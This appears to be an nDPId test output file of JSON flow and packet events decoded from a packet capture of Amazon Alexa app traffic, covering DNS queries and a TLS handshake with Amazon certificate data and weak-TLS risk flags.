+00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2724,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":148,"flow_packet_id":1,"flow_first_seen":1490976187242,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":59908,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00448{"flow_id":148,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2724,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976187,"pkt_ts_usec":242775,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"AMDKkaPvePiC0\/vCCABFAAA+WmNAAEARM1KsECrYrBAqAeoEADUAKipZJj0BAAABAAAAAAAABWFsZXhhBmFtYXpvbgNjb20AAAEAAQ=="} +00663{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2724,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":148,"flow_packet_id":1,"flow_first_seen":1490976187242,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":59908,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.AmazonAlexa","breed":"Acceptable","category":"VirtualAssistant"},"dns": {"query":"alexa.amazon.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00502{"flow_id":148,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2736,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976187,"pkt_ts_usec":508361,"pkt_caplen":115,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":115,"pkt_l4_len":81,"pkt":"ePiC0\/vCAMDKkaPvCABFAABl6w9AAEARon6sECoBrBAq2AA16gQAUSKUJj2BgAABAAIAAAAABWFsZXhhBmFtYXpvbgNjb20AAAEAAcAMAAUAAQAAADoACwhwaXRhbmd1acASwC4AAQABAAAAOgAENu8csg=="} +00690{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2736,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":148,"flow_packet_id":2,"flow_first_seen":1490976187242,"flow_last_seen":1490976187508,"flow_tot_l4_data_len":123,"flow_min_l4_data_len":42,"flow_max_l4_data_len":81,"flow_avg_l4_data_len":61,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":59908,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.AmazonAlexa","breed":"Acceptable","category":"VirtualAssistant"},"dns": {"query":"alexa.amazon.com","num_queries":1,"num_answers":2,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"54.239.28.178"}} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2737,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":149,"flow_packet_id":1,"flow_first_seen":1490976187511,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.28.178","src_port":38757,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":149,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2737,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976187,"pkt_ts_usec":511761,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8IbxAAEAG7nasECrYNu8cspdlAbtMyaYzAAAAAKAC\/\/8I0wAAAgQFtAQCCAoA9oePAAAAAAEDAwg="} +00429{"flow_id":149,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2739,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976187,"pkt_ts_usec":571606,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAw3K9AAOcGjI427xyyrBAq2AG7l2UCDLyqTMmmNHASH\/7urAAAAgQFtAEDAwY="} +00416{"flow_id":149,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2742,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976187,"pkt_ts_usec":575232,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoIb1AAEAG7omsECrYNu8cspdlAbtMyaY0Agy8q1AQAVc5HgAA"} +00652{"flow_id":149,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2743,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976187,"pkt_ts_usec":577439,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"AMDKkaPvePiC0\/vCCABFAADWIb5AAEAG7dqsECrYNu8cspdlAbtMyaY0Agy8q1AYAVf+iAAAFgMBAKkBAAClAwG16AV0b+GAfYYNp1IOTvu8DJ0f7IEfHu7urYszcZFfGCCDPveyl8oknA6Yiw9M10d1fqyNuQQHuX5ZwIOnN4q82wAcwAnACsATwBQAMwA5ADIAOMAHwBEALwA1AAUA\/wEAAEAACwAEAwABAgAKADQAMgAOAA0AGQALAAwAGAAJAAoAFgAXAAgABgAHABQAFQAEAAUAEgATAAEAAgADAA8AEAAR"} +00745{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2743,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":149,"flow_packet_id":4,"flow_first_seen":1490976187511,"flow_last_seen":1490976187577,"flow_tot_l4_data_len":282,"flow_min_l4_data_len":20,"flow_max_l4_data_len":194,"flow_avg_l4_data_len":70,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.28.178","src_port":38757,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"f8f5b71e02603b283e55b50d17ede861","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +02381{"flow_id":149,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2745,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976187,"pkt_ts_usec":703787,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXc5VlAAOcGfjg27xyyrBAq2AG7l2UCDLyrTMmm4lAYf\/o3xAAAFgMBDLwCAABGAwFY3n27mBV2WbDPq95nUgHVHgPA3C3vs5uXZdBrRcVDiCCh56jEaMWoPL9OuslqKXpycwU0yxHxmHJEb6cXK1MHCAAvAAsADGoADGcAByUwggchMIIGCaADAgECAhAcRU2OfD5RXVxbu\/\/vTuNvMA0GCSqGSIb3DQEBCwUAMH4xCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRTeW1hbnRlYyBDb3Jwb3JhdGlvbjEfMB0GA1UECxMWU3ltYW50ZWMgVHJ1c3QgTmV0d29yazEvMC0GA1UEAxMmU3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQwHhcNMTcwMTEyMDAwMDAwWhcNMTgwMTEzMjM1OTU5WjBtMQswCQYDVQQGEwJVUzETMBEGA1UECAwKV2FzaGluZ3RvbjEQMA4GA1UEBwwHU2VhdHRsZTEZMBcGA1UECgwQQW1hem9uLmNvbSwgSW5jLjEcMBoGA1UEAwwTcGl0YW5ndWkuYW1hem9uLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJYBiz7+LgeGD3Pa4IJcJ09bhuxaGQSx+xajoPkJc5erzMpRRS1Ah2pufryf6dws05DN70Qan0Ob6GrLw2\/HxaGvneCRZhiBGyUMFBcJjk1AKw9+Nf1hXE48DlafnWpGrqpfYt2zsG+eRrhPeKWj+oj0pEgYLwOn\/a4xa6m8CUPuQAn6\/wNlnTqVyC\/SG0Yol6GVytCBUh+TZofarTRdpyUAS308UAcUFDf6BimC5d5mYn2J5R4k65+6sdF0Lg5T\/DhNiIsjt\/imBX+pqRiOG+KKP+QbbicThn04ySXzkSx\/F+UEKU29ls2FzrMVLknBH7eb59tKsTdRgaRpZOW3joUCAwEAAaOCA6owggOmMIIBVgYDVR0RBIIBTTCCAUmCE3BpdGFuZ3VpLmFtYXpvbi5jb22CE2d1aXBpdGFuLmFtYXpvbi5jb22CEGFsZXhhLmFtYXpvbi5jb22CD2VjaG8uYW1hem9uLmNvbYIPYWxleGEuYW1hem9uLmNhghJndWlwaXRhbi5hbWF6b24uY2GCEmFsZXhhLmFtYXpvbi5jby5qcIIVZ3VpcGl0YW4uYW1hem9uLmNvLmpwghNhbGV4YS5hbWF6b24uY29tLm14ghZndWlwaXRhbi5hbWF6b24uY29tLm14ghNhbGV4YS5hbWF6b24uY29tLmJyghZndWlwaXRhbi5hbWF6b24uY29tLmJyghNhbGV4YS5hbWF6b24uY29tLmF1ghZndWlwaXRhbi5hbWF6b24uY29tLmF1gg9hbGV4YS5hbWF6b24uY26CEmd1aXBpdGFuLmFtYXpvbi5jbjAJBgNVHRMEAjAAMA4GA1UdDwEB\/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwYQYDVR0gBFowWDBWBgZngQwBAgIwTDAjBggrBgEFBQcCARYXaHR0cHM6Ly9kLnN5bWNiLmNvbS9jcHMwJQYIKwYBBQUHAgIwGQwXaHR0cHM6Ly9kLnN5bWNiLmNvbS9ycGEwHwYDVR0jBBgwFoAUX2DPYZBV34RDFIpgKrL1evRDGO8wKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL3NzLnN5bWNiLmNvbS9zcy5jcmwwVwYIKwYBBQUHAQEESzBJMB8GCCsGAQUFBzABhhNodHRwOi8vc3Muc3ltY2QuY29tMCYGCCsGAQUFBzAChhpodHRwOi8vc3Muc3ltY2IuY29tL3NzLmNydDCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB1AN3rHSt6DU+mIIuBrYFocH4ujp0B1VyIjT0RxM227L7MAAABWZBMcQIAAAQDAEYwRAIgKRWoVVA="} +02384{"flow_id":149,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2746,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976187,"pkt_ts_usec":704324,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXc5VtAAOcGfjY27xyyrBAq2AG7l2UCDMJfTMmm4lAYf\/rmzgAAjFI1u1wWl1G2XSDRRsDgI05xF\/R2SRNbNYayAiBoL+6shVDZBDW9cxLOAAPLGwr35RrKdMLHjy3gwdZfEgB3AKS5CZC0GFgUh7sTosxncAo8NZgE+RvfuON3zQ7IDdwQAAABWZBMcTwAAAQDAEgwRgIhALW9429CqWlJmY7bsqgu877wDiK6qslUq22hmi82aGQuAiEA2sOA1mIiLp7MIPis4\/n9ebUdQVRvG4dTZRoBrrVuMJswDQYJKoZIhvcNAQELBQADggEBAGYgKBIO9j5PJS1o\/wh6NT0DbzNhpExM4s36xlh\/fdFoLOzD3MnFCJ92BlxhyyvXuoWU5uoJMfpq+5QaGibLkf7L6tpnIbnlsv4eXNCJnZsn\/YBiXZkzN8b0IMudSLmP1WtQYDl4qM4g+dti6uq\/rY1mAvLnRMTSDUWsocTd+dUcSc5G9RwVrTdrCca7zCZA+MaMWAROzv86e0RCAZWlVC3xvQC\/4FJLnaRjBmVXMbodATyrnvRkt3AgTo9sdFFTCD3TqzZ4hhKNo+3kKUQSzvXWIBA1lvWZEvNmv9bA1\/cd7RNj4GLWLyUls2RjBH8NrYvZUa7GVTRCoAo+oCutXFUABTwwggU4MIIEIKADAgECAhBRP7l0OHC3NEBBjTCTBpn\/MA0GCSqGSIb3DQEBCwUAMIHKMQswCQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdvcmsxOjA4BgNVBAsTMShjKSAyMDA2IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxRTBDBgNVBAMTPFZlcmlTaWduIENsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHNTAeFw0xMzEwMzEwMDAwMDBaFw0yMzEwMzAyMzU5NTlaMH4xCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRTeW1hbnRlYyBDb3Jwb3JhdGlvbjEfMB0GA1UECxMWU3ltYW50ZWMgVHJ1c3QgTmV0d29yazEvMC0GA1UEAxMmU3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCy2AXKHHQttRdWOcVKUgmW6EvYDPFon5pCKGLDpTBTflURglsDeg0v4XkEybSWdxmBAZRZ+bz3epkngi23g91aJ3+yA3qcUyXpSB9GT8idKfi+eVb29\/3ZOmjai0uCM0ESw8g8zNaWeoQhGiIEAycXixxoYZMPDlGAMx20tc7rftBirO6zewF072k168rVPanul5jKjapEDiWZShWWpM5tAlQfKmom4gY6Y0istEzRdZNQ\/xMv1trhxhj1n8klXfMAOt4mTbQpCc0PPSNvFkqBFvvygxDDuNbYVTI98b0PvYxSlUoWl3pSIWN1Lxb5xGa+9bUJ2P8nAM1EfG9LP7D3AgMBAAGjggFjMIIBXzASBgNVHRMBAf8ECDAGAQH\/AgEAMDAGA1UdHwQpMCcwJaAjoCGGH2h0dHA6Ly9zMS5zeW1jYi5jb20vcGNhMy1nNS5jcmwwDgYDVR0PAQH\/BAQDAgEGMC8GCCsGAQUFBwEBBCMwITAfBggrBgEFBQcwAYYTaHR0cDovL3MyLnN5bWNiLmNvbTBrBgNVHSAEZDBiMGAGCmCGSAGG+EUBBzYwUjAmBggrBgEFBQcCARYaaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9jcHMwKAYIKwYBBQUHAgIwHBoaaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9ycGEwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVN5bWFudGVjUEtJLTEtNTM="} +00888{"flow_id":149,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2747,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976187,"pkt_ts_usec":704396,"pkt_caplen":399,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":399,"pkt_l4_len":365,"pkt":"ePiC0\/vCAMDKkVoBCABFAAGB5V1AAOcGgo827xyyrBAq2AG7l2UCDMgTTMmm4lAYf\/o8NwAANDAdBgNVHQ4EFgQUX2DPYZBV34RDFIpgKrL1evRDGO8wHwYDVR0jBBgwFoAUf9Nlp8Ld7LvwMAnzQzn6Aq8zMTMwDQYJKoZIhvcNAQELBQADggEBAF6UVkndji1l9cE2UbYD49qecxnyH1mrWH5sJgUs+oHXXCMXIiw3k\/eG7IXmsKP9H+IyqEVv4dn7ua\/ScKAyQmW\/hP4WKo8\/xabWo5N9Q+l0IZE1KPRj6S7t9\/Vcf0uatSDpCr3gRRAMFJSaXaXjS5HoJJtGQGX0InLNmfiIEfXzf+YzguaoxX7+0AjiJVgIcWjmzaLmFN5OUiQt\/eV5E1PnXi8tTRttQBVSK\/eHiXgSgW7ZTaoteNTCLD0IX4eRnh8OsN4wUmSGiaqdZpwOdgyA8nTYKvi4Os7X1g8RvmurFPW9QaAiY4nxug9vKWNmLT+sjHLF+8fk1A\/yO0+MKccOAAAA"} +01421{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2747,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":149,"flow_packet_id":7,"flow_first_seen":1490976187511,"flow_last_seen":1490976187704,"flow_tot_l4_data_len":3607,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":515,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.28.178","src_port":38757,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","server_names":"pitangui.amazon.com,guipitan.amazon.com,alexa.amazon.com,echo.amazon.com,alexa.amazon.ca,guipitan.amazon.ca,alexa.amazon.co.jp,guipitan.amazon.co.jp,alexa.amazon.com.mx,guipitan.amazon.com.mx,alexa.amazon.com.br,guipitan.amazon.com.br,alexa.amazon.com.au,guipitan.amazon.com.au,alexa.amazon.cn,guipitan.amazon.cn","ja3":"f8f5b71e02603b283e55b50d17ede861","ja3s":"18e962e106761869a61045bed0e81c2c","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=US, ST=Washington, L=Seattle, O=Amazon.com, Inc., CN=pitangui.amazon.com","fingerprint":"13:E9:3B:22:22:61:41:53:CA:B6:3A:AE:C8:B7:23:FB:A5:11:2F:24"}} +00416{"flow_id":149,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2748,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976187,"pkt_ts_usec":707370,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoIb9AAEAG7oesECrYNu8cspdlAbtMyabiAgzCX1AQAWIysQAA"} +00416{"flow_id":149,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2749,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976187,"pkt_ts_usec":707649,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoIcBAAEAG7oasECrYNu8cspdlAbtMyabiAgzIE1AQAW0s8gAA"} +00417{"flow_id":149,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2750,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976187,"pkt_ts_usec":707799,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoIcFAAEAG7oWsECrYNu8cspdlAbtMyabiAgzJbFAQAXkrjQAA"} +00861{"flow_id":149,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2755,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976187,"pkt_ts_usec":769211,"pkt_caplen":380,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":380,"pkt_l4_len":346,"pkt":"AMDKkaPvePiC0\/vCCABFAAFuIcJAAEAG7T6sECrYNu8cspdlAbtMyabiAgzJbFAYAXnnOwAAFgMBAQYQAAECAQAtAIBPLHmivxOr5aoh9gpjMgxmQAJysL0\/sayLDX7oPypCFauHKJoZn8XO6zfEdYf5gvYZXjBWqm+eViWUPIICU8fG0R2VWiqV3IFKIN7I3BElXF7Ul+J52a6BczfgximjnPGpmsjcSrNe4yQjIWcbHgFBpDN8DtK3EYP4Xq5AXke68AJsAy0eL5Ei526\/kZywG0YB7KS0jLD7DeKUHklazAKaP8bhvjuVFv9mKwRajXpjoAfUoEWlWYN7yhmi8eNEKzXaDwsXQ34I8Lwhitz47qutwx7adoV\/srElUBpRd4FhwAMLyHMdySsFQ1MCgkStbfQfNFUIzN4iLttE3vdqFAMBAAEBFgMBADCoL9jMpSLXgQMo+rASp5Nmo6v5YE91Db\/Ez40RyZ31r\/SriE+WsLPDe33nnz90dv8="} +00426{"flow_id":149,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2756,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976187,"pkt_ts_usec":933290,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAo3IZAAOcGjL827xyyrBAq2AG7l2UCDMlsTMmoKFAQf\/WrygAAAAAAAAAA"} +00502{"flow_id":149,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2757,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976187,"pkt_ts_usec":933438,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"ePiC0\/vCAMDKkVoBCABFAABj3W1AAOcGi5027xyyrBAq2AG7l2UCDMlsTMmoKFAYf\/UdAQAAFAMBAAEBFgMBADCUODbUhHdS1090\/oGYD+5LuWOp86CtwHvwrAw5cxGRFyoZxtJ4zGaCLPfuUR\/SN54="} +00417{"flow_id":149,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2758,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976187,"pkt_ts_usec":934749,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoIcNAAEAG7oOsECrYNu8cspdlAbtMyagoAgzJp1AQAXkqDAAA"} +02172{"flow_id":149,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2759,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976187,"pkt_ts_usec":945561,"pkt_caplen":1344,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1344,"pkt_l4_len":1310,"pkt":"AMDKkaPvePiC0\/vCCABFAAUyIcRAAEAG6XisECrYNu8cspdlAbtMyagoAgzJp1AYAXkbOQAAFwMBACDL9FsorFz49k2Ue1wJV\/eNJ8JgYmx9iqoZt+NLzw7L0xcDAQTgwDzalzIT6co5x\/wYFKcL195q+MOXL5wNiYjFXPV+YrErAOddFPtwdVnyccqSHB0piGgeyp8T1vPlk4TtCuQQ3NEh6fPTWrdt8MorKWq2VdEFRVmX5oNt5HjbnQFsMdTQSdYCKT5xSUnDzSC+xwKxI4V5SFUGeeYOxsT8IV2aqkpD3kgF7qVwFBx8v1gKuf0BoJlbAs2ad5wrFuaO0fZQ6gfvzpPWbObbM5Iydphe5xfv6jxbRdSXAc3iXyxLzhWAg1VYduuG\/cREhxw4BVAogDSAj\/Y4M5TOQNz7lhQkPXhmB5nu2RIywUPi8RV5wNfgFKzwYra1981cVtl5OLn2yXd2GuyLNsUiQbr7pO7VQMeSC8P2wauWDznHtqE96LoRWtNTBu5ZVBVZ2f1Zek79jHrZliKPt\/40RTJ6ud33lFA830q21\/LULzNyrqPC+C2FajK+r1XkUJjpUCaHDx5Tg7Enk5z8w0yQWl60jUvmN6lNH7I+wXMqxdDTonEIbPXHH6A+qr5YaXiFoCIuSnfNauWJO6UZAPy690HlEi99wJ4ABKinII0m3guodgpQmHnfNbel2nbyqaGPnRBKNXht2mBlQUPBBGV5wr43EcPVNS\/7t\/9tvcEi602dl5dmrU3Ni2p+il2YGyLi+zHU7W68hOLsXgvr3qtgGbjc5quLu3yG29ZV8fBm\/tPcrsYCkaEU6ItbAPu\/Y1j2Mzg+ecV\/jHo0XrS9J39OCoyXrgauSkM8Dau2OvZWIhfTXZ2JuNTDPn+2LHQcZWyqBcUTsaVpfTEttDj\/JshZrMD1GkYAuYWyxKwR+xvy50rq\/n3Op6UElEGvYViWmQtCIp1LYvf3p+xCstZGiIo6NR5cZRS7jk1gnEHgufmn4EgalbXlyX6Cy5KK6a\/pLVn+\/IGJ2QK8yrPih+ADab9kSm99ovHZrLaLCTQwGFTYKao7Rc\/lSv7tsqF9ibhwynKrtpGp8c3ZljQcVhgMGVc9AXy+RTelSGjtVhjU18B1TDOZRxmwJTZFq2Ccm96xbQ5lpe2wh0e2fyipVjSJeHZPZ8a\/EilS7ral6tf3D99dENv8Xnt9YP9VPVxZ30ny4x29BrhcPr\/Db4ssa8\/vD++cQnXLpzzI7VTVd0m6x\/n\/EzGnJmkz8O9g+fwyfqE1myHVTCBBhzN993ioIHDw9GUG4y2JWl6Gjuk\/8n2l20feyrhxOxaTteCtyrsnbVYlxkmC65Ca7nd4YrTFQidKIZe1oS\/zS18tGgiVEvgplzuzdhiuMtDTgPwaWetE9oh0Ww83s8LSBguONWheYI1ELs\/uwDX2RvEQ0mjhOWlWtIc1fy\/vKepR2KUiRKdDCltUWukCcDICD7PhtdLyt2sPegyfXT\/3iS5AmNoql9guXcvfgPWxcpqhGHfNVvxMrKca1TfA\/Dxz7eYySwn0798C2YbUm0GxjIxC8sEgupOX2kSQyQ3qJt96YMUkLoYkM+hFaybi2oZIaYAfsud9x\/t7MMDmSZf3++Nb46q+Z2Mml+0T1yOrjyfnf2CjhJ0+cGutb5hJ81ifilP7saHJPjIL18X\/w85j08AP8dDffC07G9i5lswcxdCN4DuIoHYPjaL4xyX2HyRKWmiRDXgaNzyn6fu5MTw7vSnDkSHE7aAHEqoPEsoPECEM8gWM"} +00416{"flow_id":142,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2790,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976195,"pkt_ts_usec":480744,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAolf5AAEAGekisECrYNu8cssZuAbts9RaFSlzPnVARAVceVQAA"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2791,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":150,"flow_packet_id":1,"flow_first_seen":1490976195484,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":14934,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":150,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2791,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976195,"pkt_ts_usec":484942,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8WmRAAEARM1OsECrYrBAqATpWADUAKI0W4msBAAABAAAAAAAAA3d3dwZhbWF6b24DY29tAAABAAE="} +00643{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2791,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":150,"flow_packet_id":1,"flow_first_seen":1490976195484,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":14934,"dst_port":53,"l4_proto":"udp","ndpi": 